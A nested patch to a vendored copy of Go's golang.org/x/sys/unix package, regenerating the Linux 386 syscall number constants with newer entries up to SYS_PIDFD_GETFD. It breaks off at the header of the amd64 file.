-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_386.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_386.go
-index cef4fed0..54559a89 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_386.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include -m32 /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include -m32 /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,linux
-@@ -6,383 +6,431 @@
- package unix
-
- const (
-- SYS_RESTART_SYSCALL = 0
-- SYS_EXIT = 1
-- SYS_FORK = 2
-- SYS_READ = 3
-- SYS_WRITE = 4
-- SYS_OPEN = 5
-- SYS_CLOSE = 6
-- SYS_WAITPID = 7
-- SYS_CREAT = 8
-- SYS_LINK = 9
-- SYS_UNLINK = 10
-- SYS_EXECVE = 11
-- SYS_CHDIR = 12
-- SYS_TIME = 13
-- SYS_MKNOD = 14
-- SYS_CHMOD = 15
-- SYS_LCHOWN = 16
-- SYS_BREAK = 17
-- SYS_OLDSTAT = 18
-- SYS_LSEEK = 19
-- SYS_GETPID = 20
-- SYS_MOUNT = 21
-- SYS_UMOUNT = 22
-- SYS_SETUID = 23
-- SYS_GETUID = 24
-- SYS_STIME = 25
-- SYS_PTRACE = 26
-- SYS_ALARM = 27
-- SYS_OLDFSTAT = 28
-- SYS_PAUSE = 29
-- SYS_UTIME = 30
-- SYS_STTY = 31
-- SYS_GTTY = 32
-- SYS_ACCESS = 33
-- SYS_NICE = 34
-- SYS_FTIME = 35
-- SYS_SYNC = 36
-- SYS_KILL = 37
-- SYS_RENAME = 38
-- SYS_MKDIR = 39
-- SYS_RMDIR = 40
-- SYS_DUP = 41
-- SYS_PIPE = 42
-- SYS_TIMES = 43
-- SYS_PROF = 44
-- SYS_BRK = 45
-- SYS_SETGID = 46
-- SYS_GETGID = 47
-- SYS_SIGNAL = 48
-- SYS_GETEUID = 49
-- SYS_GETEGID = 50
-- SYS_ACCT = 51
-- SYS_UMOUNT2 = 52
-- SYS_LOCK = 53
-- SYS_IOCTL = 54
-- SYS_FCNTL = 55
-- SYS_MPX = 56
-- SYS_SETPGID = 57
-- SYS_ULIMIT = 58
-- SYS_OLDOLDUNAME = 59
-- SYS_UMASK = 60
-- SYS_CHROOT = 61
-- SYS_USTAT = 62
-- SYS_DUP2 = 63
-- SYS_GETPPID = 64
-- SYS_GETPGRP = 65
-- SYS_SETSID = 66
-- SYS_SIGACTION = 67
-- SYS_SGETMASK = 68
-- SYS_SSETMASK = 69
-- SYS_SETREUID = 70
-- SYS_SETREGID = 71
-- SYS_SIGSUSPEND = 72
-- SYS_SIGPENDING = 73
-- SYS_SETHOSTNAME = 74
-- SYS_SETRLIMIT = 75
-- SYS_GETRLIMIT = 76
-- SYS_GETRUSAGE = 77
-- SYS_GETTIMEOFDAY = 78
-- SYS_SETTIMEOFDAY = 79
-- SYS_GETGROUPS = 80
-- SYS_SETGROUPS = 81
-- SYS_SELECT = 82
-- SYS_SYMLINK = 83
-- SYS_OLDLSTAT = 84
-- SYS_READLINK = 85
-- SYS_USELIB = 86
-- SYS_SWAPON = 87
-- SYS_REBOOT = 88
-- SYS_READDIR = 89
-- SYS_MMAP = 90
-- SYS_MUNMAP = 91
-- SYS_TRUNCATE = 92
-- SYS_FTRUNCATE = 93
-- SYS_FCHMOD = 94
-- SYS_FCHOWN = 95
-- SYS_GETPRIORITY = 96
-- SYS_SETPRIORITY = 97
-- SYS_PROFIL = 98
-- SYS_STATFS = 99
-- SYS_FSTATFS = 100
-- SYS_IOPERM = 101
-- SYS_SOCKETCALL = 102
-- SYS_SYSLOG = 103
-- SYS_SETITIMER = 104
-- SYS_GETITIMER = 105
-- SYS_STAT = 106
-- SYS_LSTAT = 107
-- SYS_FSTAT = 108
-- SYS_OLDUNAME = 109
-- SYS_IOPL = 110
-- SYS_VHANGUP = 111
-- SYS_IDLE = 112
-- SYS_VM86OLD = 113
-- SYS_WAIT4 = 114
-- SYS_SWAPOFF = 115
-- SYS_SYSINFO = 116
-- SYS_IPC = 117
-- SYS_FSYNC = 118
-- SYS_SIGRETURN = 119
-- SYS_CLONE = 120
-- SYS_SETDOMAINNAME = 121
-- SYS_UNAME = 122
-- SYS_MODIFY_LDT = 123
-- SYS_ADJTIMEX = 124
-- SYS_MPROTECT = 125
-- SYS_SIGPROCMASK = 126
-- SYS_CREATE_MODULE = 127
-- SYS_INIT_MODULE = 128
-- SYS_DELETE_MODULE = 129
-- SYS_GET_KERNEL_SYMS = 130
-- SYS_QUOTACTL = 131
-- SYS_GETPGID = 132
-- SYS_FCHDIR = 133
-- SYS_BDFLUSH = 134
-- SYS_SYSFS = 135
-- SYS_PERSONALITY = 136
-- SYS_AFS_SYSCALL = 137
-- SYS_SETFSUID = 138
-- SYS_SETFSGID = 139
-- SYS__LLSEEK = 140
-- SYS_GETDENTS = 141
-- SYS__NEWSELECT = 142
-- SYS_FLOCK = 143
-- SYS_MSYNC = 144
-- SYS_READV = 145
-- SYS_WRITEV = 146
-- SYS_GETSID = 147
-- SYS_FDATASYNC = 148
-- SYS__SYSCTL = 149
-- SYS_MLOCK = 150
-- SYS_MUNLOCK = 151
-- SYS_MLOCKALL = 152
-- SYS_MUNLOCKALL = 153
-- SYS_SCHED_SETPARAM = 154
-- SYS_SCHED_GETPARAM = 155
-- SYS_SCHED_SETSCHEDULER = 156
-- SYS_SCHED_GETSCHEDULER = 157
-- SYS_SCHED_YIELD = 158
-- SYS_SCHED_GET_PRIORITY_MAX = 159
-- SYS_SCHED_GET_PRIORITY_MIN = 160
-- SYS_SCHED_RR_GET_INTERVAL = 161
-- SYS_NANOSLEEP = 162
-- SYS_MREMAP = 163
-- SYS_SETRESUID = 164
-- SYS_GETRESUID = 165
-- SYS_VM86 = 166
-- SYS_QUERY_MODULE = 167
-- SYS_POLL = 168
-- SYS_NFSSERVCTL = 169
-- SYS_SETRESGID = 170
-- SYS_GETRESGID = 171
-- SYS_PRCTL = 172
-- SYS_RT_SIGRETURN = 173
-- SYS_RT_SIGACTION = 174
-- SYS_RT_SIGPROCMASK = 175
-- SYS_RT_SIGPENDING = 176
-- SYS_RT_SIGTIMEDWAIT = 177
-- SYS_RT_SIGQUEUEINFO = 178
-- SYS_RT_SIGSUSPEND = 179
-- SYS_PREAD64 = 180
-- SYS_PWRITE64 = 181
-- SYS_CHOWN = 182
-- SYS_GETCWD = 183
-- SYS_CAPGET = 184
-- SYS_CAPSET = 185
-- SYS_SIGALTSTACK = 186
-- SYS_SENDFILE = 187
-- SYS_GETPMSG = 188
-- SYS_PUTPMSG = 189
-- SYS_VFORK = 190
-- SYS_UGETRLIMIT = 191
-- SYS_MMAP2 = 192
-- SYS_TRUNCATE64 = 193
-- SYS_FTRUNCATE64 = 194
-- SYS_STAT64 = 195
-- SYS_LSTAT64 = 196
-- SYS_FSTAT64 = 197
-- SYS_LCHOWN32 = 198
-- SYS_GETUID32 = 199
-- SYS_GETGID32 = 200
-- SYS_GETEUID32 = 201
-- SYS_GETEGID32 = 202
-- SYS_SETREUID32 = 203
-- SYS_SETREGID32 = 204
-- SYS_GETGROUPS32 = 205
-- SYS_SETGROUPS32 = 206
-- SYS_FCHOWN32 = 207
-- SYS_SETRESUID32 = 208
-- SYS_GETRESUID32 = 209
-- SYS_SETRESGID32 = 210
-- SYS_GETRESGID32 = 211
-- SYS_CHOWN32 = 212
-- SYS_SETUID32 = 213
-- SYS_SETGID32 = 214
-- SYS_SETFSUID32 = 215
-- SYS_SETFSGID32 = 216
-- SYS_PIVOT_ROOT = 217
-- SYS_MINCORE = 218
-- SYS_MADVISE = 219
-- SYS_GETDENTS64 = 220
-- SYS_FCNTL64 = 221
-- SYS_GETTID = 224
-- SYS_READAHEAD = 225
-- SYS_SETXATTR = 226
-- SYS_LSETXATTR = 227
-- SYS_FSETXATTR = 228
-- SYS_GETXATTR = 229
-- SYS_LGETXATTR = 230
-- SYS_FGETXATTR = 231
-- SYS_LISTXATTR = 232
-- SYS_LLISTXATTR = 233
-- SYS_FLISTXATTR = 234
-- SYS_REMOVEXATTR = 235
-- SYS_LREMOVEXATTR = 236
-- SYS_FREMOVEXATTR = 237
-- SYS_TKILL = 238
-- SYS_SENDFILE64 = 239
-- SYS_FUTEX = 240
-- SYS_SCHED_SETAFFINITY = 241
-- SYS_SCHED_GETAFFINITY = 242
-- SYS_SET_THREAD_AREA = 243
-- SYS_GET_THREAD_AREA = 244
-- SYS_IO_SETUP = 245
-- SYS_IO_DESTROY = 246
-- SYS_IO_GETEVENTS = 247
-- SYS_IO_SUBMIT = 248
-- SYS_IO_CANCEL = 249
-- SYS_FADVISE64 = 250
-- SYS_EXIT_GROUP = 252
-- SYS_LOOKUP_DCOOKIE = 253
-- SYS_EPOLL_CREATE = 254
-- SYS_EPOLL_CTL = 255
-- SYS_EPOLL_WAIT = 256
-- SYS_REMAP_FILE_PAGES = 257
-- SYS_SET_TID_ADDRESS = 258
-- SYS_TIMER_CREATE = 259
-- SYS_TIMER_SETTIME = 260
-- SYS_TIMER_GETTIME = 261
-- SYS_TIMER_GETOVERRUN = 262
-- SYS_TIMER_DELETE = 263
-- SYS_CLOCK_SETTIME = 264
-- SYS_CLOCK_GETTIME = 265
-- SYS_CLOCK_GETRES = 266
-- SYS_CLOCK_NANOSLEEP = 267
-- SYS_STATFS64 = 268
-- SYS_FSTATFS64 = 269
-- SYS_TGKILL = 270
-- SYS_UTIMES = 271
-- SYS_FADVISE64_64 = 272
-- SYS_VSERVER = 273
-- SYS_MBIND = 274
-- SYS_GET_MEMPOLICY = 275
-- SYS_SET_MEMPOLICY = 276
-- SYS_MQ_OPEN = 277
-- SYS_MQ_UNLINK = 278
-- SYS_MQ_TIMEDSEND = 279
-- SYS_MQ_TIMEDRECEIVE = 280
-- SYS_MQ_NOTIFY = 281
-- SYS_MQ_GETSETATTR = 282
-- SYS_KEXEC_LOAD = 283
-- SYS_WAITID = 284
-- SYS_ADD_KEY = 286
-- SYS_REQUEST_KEY = 287
-- SYS_KEYCTL = 288
-- SYS_IOPRIO_SET = 289
-- SYS_IOPRIO_GET = 290
-- SYS_INOTIFY_INIT = 291
-- SYS_INOTIFY_ADD_WATCH = 292
-- SYS_INOTIFY_RM_WATCH = 293
-- SYS_MIGRATE_PAGES = 294
-- SYS_OPENAT = 295
-- SYS_MKDIRAT = 296
-- SYS_MKNODAT = 297
-- SYS_FCHOWNAT = 298
-- SYS_FUTIMESAT = 299
-- SYS_FSTATAT64 = 300
-- SYS_UNLINKAT = 301
-- SYS_RENAMEAT = 302
-- SYS_LINKAT = 303
-- SYS_SYMLINKAT = 304
-- SYS_READLINKAT = 305
-- SYS_FCHMODAT = 306
-- SYS_FACCESSAT = 307
-- SYS_PSELECT6 = 308
-- SYS_PPOLL = 309
-- SYS_UNSHARE = 310
-- SYS_SET_ROBUST_LIST = 311
-- SYS_GET_ROBUST_LIST = 312
-- SYS_SPLICE = 313
-- SYS_SYNC_FILE_RANGE = 314
-- SYS_TEE = 315
-- SYS_VMSPLICE = 316
-- SYS_MOVE_PAGES = 317
-- SYS_GETCPU = 318
-- SYS_EPOLL_PWAIT = 319
-- SYS_UTIMENSAT = 320
-- SYS_SIGNALFD = 321
-- SYS_TIMERFD_CREATE = 322
-- SYS_EVENTFD = 323
-- SYS_FALLOCATE = 324
-- SYS_TIMERFD_SETTIME = 325
-- SYS_TIMERFD_GETTIME = 326
-- SYS_SIGNALFD4 = 327
-- SYS_EVENTFD2 = 328
-- SYS_EPOLL_CREATE1 = 329
-- SYS_DUP3 = 330
-- SYS_PIPE2 = 331
-- SYS_INOTIFY_INIT1 = 332
-- SYS_PREADV = 333
-- SYS_PWRITEV = 334
-- SYS_RT_TGSIGQUEUEINFO = 335
-- SYS_PERF_EVENT_OPEN = 336
-- SYS_RECVMMSG = 337
-- SYS_FANOTIFY_INIT = 338
-- SYS_FANOTIFY_MARK = 339
-- SYS_PRLIMIT64 = 340
-- SYS_NAME_TO_HANDLE_AT = 341
-- SYS_OPEN_BY_HANDLE_AT = 342
-- SYS_CLOCK_ADJTIME = 343
-- SYS_SYNCFS = 344
-- SYS_SENDMMSG = 345
-- SYS_SETNS = 346
-- SYS_PROCESS_VM_READV = 347
-- SYS_PROCESS_VM_WRITEV = 348
-- SYS_KCMP = 349
-- SYS_FINIT_MODULE = 350
-- SYS_SCHED_SETATTR = 351
-- SYS_SCHED_GETATTR = 352
-- SYS_RENAMEAT2 = 353
-- SYS_SECCOMP = 354
-- SYS_GETRANDOM = 355
-- SYS_MEMFD_CREATE = 356
-- SYS_BPF = 357
-- SYS_EXECVEAT = 358
-- SYS_SOCKET = 359
-- SYS_SOCKETPAIR = 360
-- SYS_BIND = 361
-- SYS_CONNECT = 362
-- SYS_LISTEN = 363
-- SYS_ACCEPT4 = 364
-- SYS_GETSOCKOPT = 365
-- SYS_SETSOCKOPT = 366
-- SYS_GETSOCKNAME = 367
-- SYS_GETPEERNAME = 368
-- SYS_SENDTO = 369
-- SYS_SENDMSG = 370
-- SYS_RECVFROM = 371
-- SYS_RECVMSG = 372
-- SYS_SHUTDOWN = 373
-- SYS_USERFAULTFD = 374
-- SYS_MEMBARRIER = 375
-- SYS_MLOCK2 = 376
-- SYS_COPY_FILE_RANGE = 377
-- SYS_PREADV2 = 378
-- SYS_PWRITEV2 = 379
-- SYS_PKEY_MPROTECT = 380
-- SYS_PKEY_ALLOC = 381
-- SYS_PKEY_FREE = 382
-+ SYS_RESTART_SYSCALL = 0
-+ SYS_EXIT = 1
-+ SYS_FORK = 2
-+ SYS_READ = 3
-+ SYS_WRITE = 4
-+ SYS_OPEN = 5
-+ SYS_CLOSE = 6
-+ SYS_WAITPID = 7
-+ SYS_CREAT = 8
-+ SYS_LINK = 9
-+ SYS_UNLINK = 10
-+ SYS_EXECVE = 11
-+ SYS_CHDIR = 12
-+ SYS_TIME = 13
-+ SYS_MKNOD = 14
-+ SYS_CHMOD = 15
-+ SYS_LCHOWN = 16
-+ SYS_BREAK = 17
-+ SYS_OLDSTAT = 18
-+ SYS_LSEEK = 19
-+ SYS_GETPID = 20
-+ SYS_MOUNT = 21
-+ SYS_UMOUNT = 22
-+ SYS_SETUID = 23
-+ SYS_GETUID = 24
-+ SYS_STIME = 25
-+ SYS_PTRACE = 26
-+ SYS_ALARM = 27
-+ SYS_OLDFSTAT = 28
-+ SYS_PAUSE = 29
-+ SYS_UTIME = 30
-+ SYS_STTY = 31
-+ SYS_GTTY = 32
-+ SYS_ACCESS = 33
-+ SYS_NICE = 34
-+ SYS_FTIME = 35
-+ SYS_SYNC = 36
-+ SYS_KILL = 37
-+ SYS_RENAME = 38
-+ SYS_MKDIR = 39
-+ SYS_RMDIR = 40
-+ SYS_DUP = 41
-+ SYS_PIPE = 42
-+ SYS_TIMES = 43
-+ SYS_PROF = 44
-+ SYS_BRK = 45
-+ SYS_SETGID = 46
-+ SYS_GETGID = 47
-+ SYS_SIGNAL = 48
-+ SYS_GETEUID = 49
-+ SYS_GETEGID = 50
-+ SYS_ACCT = 51
-+ SYS_UMOUNT2 = 52
-+ SYS_LOCK = 53
-+ SYS_IOCTL = 54
-+ SYS_FCNTL = 55
-+ SYS_MPX = 56
-+ SYS_SETPGID = 57
-+ SYS_ULIMIT = 58
-+ SYS_OLDOLDUNAME = 59
-+ SYS_UMASK = 60
-+ SYS_CHROOT = 61
-+ SYS_USTAT = 62
-+ SYS_DUP2 = 63
-+ SYS_GETPPID = 64
-+ SYS_GETPGRP = 65
-+ SYS_SETSID = 66
-+ SYS_SIGACTION = 67
-+ SYS_SGETMASK = 68
-+ SYS_SSETMASK = 69
-+ SYS_SETREUID = 70
-+ SYS_SETREGID = 71
-+ SYS_SIGSUSPEND = 72
-+ SYS_SIGPENDING = 73
-+ SYS_SETHOSTNAME = 74
-+ SYS_SETRLIMIT = 75
-+ SYS_GETRLIMIT = 76
-+ SYS_GETRUSAGE = 77
-+ SYS_GETTIMEOFDAY = 78
-+ SYS_SETTIMEOFDAY = 79
-+ SYS_GETGROUPS = 80
-+ SYS_SETGROUPS = 81
-+ SYS_SELECT = 82
-+ SYS_SYMLINK = 83
-+ SYS_OLDLSTAT = 84
-+ SYS_READLINK = 85
-+ SYS_USELIB = 86
-+ SYS_SWAPON = 87
-+ SYS_REBOOT = 88
-+ SYS_READDIR = 89
-+ SYS_MMAP = 90
-+ SYS_MUNMAP = 91
-+ SYS_TRUNCATE = 92
-+ SYS_FTRUNCATE = 93
-+ SYS_FCHMOD = 94
-+ SYS_FCHOWN = 95
-+ SYS_GETPRIORITY = 96
-+ SYS_SETPRIORITY = 97
-+ SYS_PROFIL = 98
-+ SYS_STATFS = 99
-+ SYS_FSTATFS = 100
-+ SYS_IOPERM = 101
-+ SYS_SOCKETCALL = 102
-+ SYS_SYSLOG = 103
-+ SYS_SETITIMER = 104
-+ SYS_GETITIMER = 105
-+ SYS_STAT = 106
-+ SYS_LSTAT = 107
-+ SYS_FSTAT = 108
-+ SYS_OLDUNAME = 109
-+ SYS_IOPL = 110
-+ SYS_VHANGUP = 111
-+ SYS_IDLE = 112
-+ SYS_VM86OLD = 113
-+ SYS_WAIT4 = 114
-+ SYS_SWAPOFF = 115
-+ SYS_SYSINFO = 116
-+ SYS_IPC = 117
-+ SYS_FSYNC = 118
-+ SYS_SIGRETURN = 119
-+ SYS_CLONE = 120
-+ SYS_SETDOMAINNAME = 121
-+ SYS_UNAME = 122
-+ SYS_MODIFY_LDT = 123
-+ SYS_ADJTIMEX = 124
-+ SYS_MPROTECT = 125
-+ SYS_SIGPROCMASK = 126
-+ SYS_CREATE_MODULE = 127
-+ SYS_INIT_MODULE = 128
-+ SYS_DELETE_MODULE = 129
-+ SYS_GET_KERNEL_SYMS = 130
-+ SYS_QUOTACTL = 131
-+ SYS_GETPGID = 132
-+ SYS_FCHDIR = 133
-+ SYS_BDFLUSH = 134
-+ SYS_SYSFS = 135
-+ SYS_PERSONALITY = 136
-+ SYS_AFS_SYSCALL = 137
-+ SYS_SETFSUID = 138
-+ SYS_SETFSGID = 139
-+ SYS__LLSEEK = 140
-+ SYS_GETDENTS = 141
-+ SYS__NEWSELECT = 142
-+ SYS_FLOCK = 143
-+ SYS_MSYNC = 144
-+ SYS_READV = 145
-+ SYS_WRITEV = 146
-+ SYS_GETSID = 147
-+ SYS_FDATASYNC = 148
-+ SYS__SYSCTL = 149
-+ SYS_MLOCK = 150
-+ SYS_MUNLOCK = 151
-+ SYS_MLOCKALL = 152
-+ SYS_MUNLOCKALL = 153
-+ SYS_SCHED_SETPARAM = 154
-+ SYS_SCHED_GETPARAM = 155
-+ SYS_SCHED_SETSCHEDULER = 156
-+ SYS_SCHED_GETSCHEDULER = 157
-+ SYS_SCHED_YIELD = 158
-+ SYS_SCHED_GET_PRIORITY_MAX = 159
-+ SYS_SCHED_GET_PRIORITY_MIN = 160
-+ SYS_SCHED_RR_GET_INTERVAL = 161
-+ SYS_NANOSLEEP = 162
-+ SYS_MREMAP = 163
-+ SYS_SETRESUID = 164
-+ SYS_GETRESUID = 165
-+ SYS_VM86 = 166
-+ SYS_QUERY_MODULE = 167
-+ SYS_POLL = 168
-+ SYS_NFSSERVCTL = 169
-+ SYS_SETRESGID = 170
-+ SYS_GETRESGID = 171
-+ SYS_PRCTL = 172
-+ SYS_RT_SIGRETURN = 173
-+ SYS_RT_SIGACTION = 174
-+ SYS_RT_SIGPROCMASK = 175
-+ SYS_RT_SIGPENDING = 176
-+ SYS_RT_SIGTIMEDWAIT = 177
-+ SYS_RT_SIGQUEUEINFO = 178
-+ SYS_RT_SIGSUSPEND = 179
-+ SYS_PREAD64 = 180
-+ SYS_PWRITE64 = 181
-+ SYS_CHOWN = 182
-+ SYS_GETCWD = 183
-+ SYS_CAPGET = 184
-+ SYS_CAPSET = 185
-+ SYS_SIGALTSTACK = 186
-+ SYS_SENDFILE = 187
-+ SYS_GETPMSG = 188
-+ SYS_PUTPMSG = 189
-+ SYS_VFORK = 190
-+ SYS_UGETRLIMIT = 191
-+ SYS_MMAP2 = 192
-+ SYS_TRUNCATE64 = 193
-+ SYS_FTRUNCATE64 = 194
-+ SYS_STAT64 = 195
-+ SYS_LSTAT64 = 196
-+ SYS_FSTAT64 = 197
-+ SYS_LCHOWN32 = 198
-+ SYS_GETUID32 = 199
-+ SYS_GETGID32 = 200
-+ SYS_GETEUID32 = 201
-+ SYS_GETEGID32 = 202
-+ SYS_SETREUID32 = 203
-+ SYS_SETREGID32 = 204
-+ SYS_GETGROUPS32 = 205
-+ SYS_SETGROUPS32 = 206
-+ SYS_FCHOWN32 = 207
-+ SYS_SETRESUID32 = 208
-+ SYS_GETRESUID32 = 209
-+ SYS_SETRESGID32 = 210
-+ SYS_GETRESGID32 = 211
-+ SYS_CHOWN32 = 212
-+ SYS_SETUID32 = 213
-+ SYS_SETGID32 = 214
-+ SYS_SETFSUID32 = 215
-+ SYS_SETFSGID32 = 216
-+ SYS_PIVOT_ROOT = 217
-+ SYS_MINCORE = 218
-+ SYS_MADVISE = 219
-+ SYS_GETDENTS64 = 220
-+ SYS_FCNTL64 = 221
-+ SYS_GETTID = 224
-+ SYS_READAHEAD = 225
-+ SYS_SETXATTR = 226
-+ SYS_LSETXATTR = 227
-+ SYS_FSETXATTR = 228
-+ SYS_GETXATTR = 229
-+ SYS_LGETXATTR = 230
-+ SYS_FGETXATTR = 231
-+ SYS_LISTXATTR = 232
-+ SYS_LLISTXATTR = 233
-+ SYS_FLISTXATTR = 234
-+ SYS_REMOVEXATTR = 235
-+ SYS_LREMOVEXATTR = 236
-+ SYS_FREMOVEXATTR = 237
-+ SYS_TKILL = 238
-+ SYS_SENDFILE64 = 239
-+ SYS_FUTEX = 240
-+ SYS_SCHED_SETAFFINITY = 241
-+ SYS_SCHED_GETAFFINITY = 242
-+ SYS_SET_THREAD_AREA = 243
-+ SYS_GET_THREAD_AREA = 244
-+ SYS_IO_SETUP = 245
-+ SYS_IO_DESTROY = 246
-+ SYS_IO_GETEVENTS = 247
-+ SYS_IO_SUBMIT = 248
-+ SYS_IO_CANCEL = 249
-+ SYS_FADVISE64 = 250
-+ SYS_EXIT_GROUP = 252
-+ SYS_LOOKUP_DCOOKIE = 253
-+ SYS_EPOLL_CREATE = 254
-+ SYS_EPOLL_CTL = 255
-+ SYS_EPOLL_WAIT = 256
-+ SYS_REMAP_FILE_PAGES = 257
-+ SYS_SET_TID_ADDRESS = 258
-+ SYS_TIMER_CREATE = 259
-+ SYS_TIMER_SETTIME = 260
-+ SYS_TIMER_GETTIME = 261
-+ SYS_TIMER_GETOVERRUN = 262
-+ SYS_TIMER_DELETE = 263
-+ SYS_CLOCK_SETTIME = 264
-+ SYS_CLOCK_GETTIME = 265
-+ SYS_CLOCK_GETRES = 266
-+ SYS_CLOCK_NANOSLEEP = 267
-+ SYS_STATFS64 = 268
-+ SYS_FSTATFS64 = 269
-+ SYS_TGKILL = 270
-+ SYS_UTIMES = 271
-+ SYS_FADVISE64_64 = 272
-+ SYS_VSERVER = 273
-+ SYS_MBIND = 274
-+ SYS_GET_MEMPOLICY = 275
-+ SYS_SET_MEMPOLICY = 276
-+ SYS_MQ_OPEN = 277
-+ SYS_MQ_UNLINK = 278
-+ SYS_MQ_TIMEDSEND = 279
-+ SYS_MQ_TIMEDRECEIVE = 280
-+ SYS_MQ_NOTIFY = 281
-+ SYS_MQ_GETSETATTR = 282
-+ SYS_KEXEC_LOAD = 283
-+ SYS_WAITID = 284
-+ SYS_ADD_KEY = 286
-+ SYS_REQUEST_KEY = 287
-+ SYS_KEYCTL = 288
-+ SYS_IOPRIO_SET = 289
-+ SYS_IOPRIO_GET = 290
-+ SYS_INOTIFY_INIT = 291
-+ SYS_INOTIFY_ADD_WATCH = 292
-+ SYS_INOTIFY_RM_WATCH = 293
-+ SYS_MIGRATE_PAGES = 294
-+ SYS_OPENAT = 295
-+ SYS_MKDIRAT = 296
-+ SYS_MKNODAT = 297
-+ SYS_FCHOWNAT = 298
-+ SYS_FUTIMESAT = 299
-+ SYS_FSTATAT64 = 300
-+ SYS_UNLINKAT = 301
-+ SYS_RENAMEAT = 302
-+ SYS_LINKAT = 303
-+ SYS_SYMLINKAT = 304
-+ SYS_READLINKAT = 305
-+ SYS_FCHMODAT = 306
-+ SYS_FACCESSAT = 307
-+ SYS_PSELECT6 = 308
-+ SYS_PPOLL = 309
-+ SYS_UNSHARE = 310
-+ SYS_SET_ROBUST_LIST = 311
-+ SYS_GET_ROBUST_LIST = 312
-+ SYS_SPLICE = 313
-+ SYS_SYNC_FILE_RANGE = 314
-+ SYS_TEE = 315
-+ SYS_VMSPLICE = 316
-+ SYS_MOVE_PAGES = 317
-+ SYS_GETCPU = 318
-+ SYS_EPOLL_PWAIT = 319
-+ SYS_UTIMENSAT = 320
-+ SYS_SIGNALFD = 321
-+ SYS_TIMERFD_CREATE = 322
-+ SYS_EVENTFD = 323
-+ SYS_FALLOCATE = 324
-+ SYS_TIMERFD_SETTIME = 325
-+ SYS_TIMERFD_GETTIME = 326
-+ SYS_SIGNALFD4 = 327
-+ SYS_EVENTFD2 = 328
-+ SYS_EPOLL_CREATE1 = 329
-+ SYS_DUP3 = 330
-+ SYS_PIPE2 = 331
-+ SYS_INOTIFY_INIT1 = 332
-+ SYS_PREADV = 333
-+ SYS_PWRITEV = 334
-+ SYS_RT_TGSIGQUEUEINFO = 335
-+ SYS_PERF_EVENT_OPEN = 336
-+ SYS_RECVMMSG = 337
-+ SYS_FANOTIFY_INIT = 338
-+ SYS_FANOTIFY_MARK = 339
-+ SYS_PRLIMIT64 = 340
-+ SYS_NAME_TO_HANDLE_AT = 341
-+ SYS_OPEN_BY_HANDLE_AT = 342
-+ SYS_CLOCK_ADJTIME = 343
-+ SYS_SYNCFS = 344
-+ SYS_SENDMMSG = 345
-+ SYS_SETNS = 346
-+ SYS_PROCESS_VM_READV = 347
-+ SYS_PROCESS_VM_WRITEV = 348
-+ SYS_KCMP = 349
-+ SYS_FINIT_MODULE = 350
-+ SYS_SCHED_SETATTR = 351
-+ SYS_SCHED_GETATTR = 352
-+ SYS_RENAMEAT2 = 353
-+ SYS_SECCOMP = 354
-+ SYS_GETRANDOM = 355
-+ SYS_MEMFD_CREATE = 356
-+ SYS_BPF = 357
-+ SYS_EXECVEAT = 358
-+ SYS_SOCKET = 359
-+ SYS_SOCKETPAIR = 360
-+ SYS_BIND = 361
-+ SYS_CONNECT = 362
-+ SYS_LISTEN = 363
-+ SYS_ACCEPT4 = 364
-+ SYS_GETSOCKOPT = 365
-+ SYS_SETSOCKOPT = 366
-+ SYS_GETSOCKNAME = 367
-+ SYS_GETPEERNAME = 368
-+ SYS_SENDTO = 369
-+ SYS_SENDMSG = 370
-+ SYS_RECVFROM = 371
-+ SYS_RECVMSG = 372
-+ SYS_SHUTDOWN = 373
-+ SYS_USERFAULTFD = 374
-+ SYS_MEMBARRIER = 375
-+ SYS_MLOCK2 = 376
-+ SYS_COPY_FILE_RANGE = 377
-+ SYS_PREADV2 = 378
-+ SYS_PWRITEV2 = 379
-+ SYS_PKEY_MPROTECT = 380
-+ SYS_PKEY_ALLOC = 381
-+ SYS_PKEY_FREE = 382
-+ SYS_STATX = 383
-+ SYS_ARCH_PRCTL = 384
-+ SYS_IO_PGETEVENTS = 385
-+ SYS_RSEQ = 386
-+ SYS_SEMGET = 393
-+ SYS_SEMCTL = 394
-+ SYS_SHMGET = 395
-+ SYS_SHMCTL = 396
-+ SYS_SHMAT = 397
-+ SYS_SHMDT = 398
-+ SYS_MSGGET = 399
-+ SYS_MSGSND = 400
-+ SYS_MSGRCV = 401
-+ SYS_MSGCTL = 402
-+ SYS_CLOCK_GETTIME64 = 403
-+ SYS_CLOCK_SETTIME64 = 404
-+ SYS_CLOCK_ADJTIME64 = 405
-+ SYS_CLOCK_GETRES_TIME64 = 406
-+ SYS_CLOCK_NANOSLEEP_TIME64 = 407
-+ SYS_TIMER_GETTIME64 = 408
-+ SYS_TIMER_SETTIME64 = 409
-+ SYS_TIMERFD_GETTIME64 = 410
-+ SYS_TIMERFD_SETTIME64 = 411
-+ SYS_UTIMENSAT_TIME64 = 412
-+ SYS_PSELECT6_TIME64 = 413
-+ SYS_PPOLL_TIME64 = 414
-+ SYS_IO_PGETEVENTS_TIME64 = 416
-+ SYS_RECVMMSG_TIME64 = 417
-+ SYS_MQ_TIMEDSEND_TIME64 = 418
-+ SYS_MQ_TIMEDRECEIVE_TIME64 = 419
-+ SYS_SEMTIMEDOP_TIME64 = 420
-+ SYS_RT_SIGTIMEDWAIT_TIME64 = 421
-+ SYS_FUTEX_TIME64 = 422
-+ SYS_SCHED_RR_GET_INTERVAL_TIME64 = 423
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_CLONE3 = 435
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_amd64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_amd64.go
-index 49bfa127..054a741b 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_amd64.go
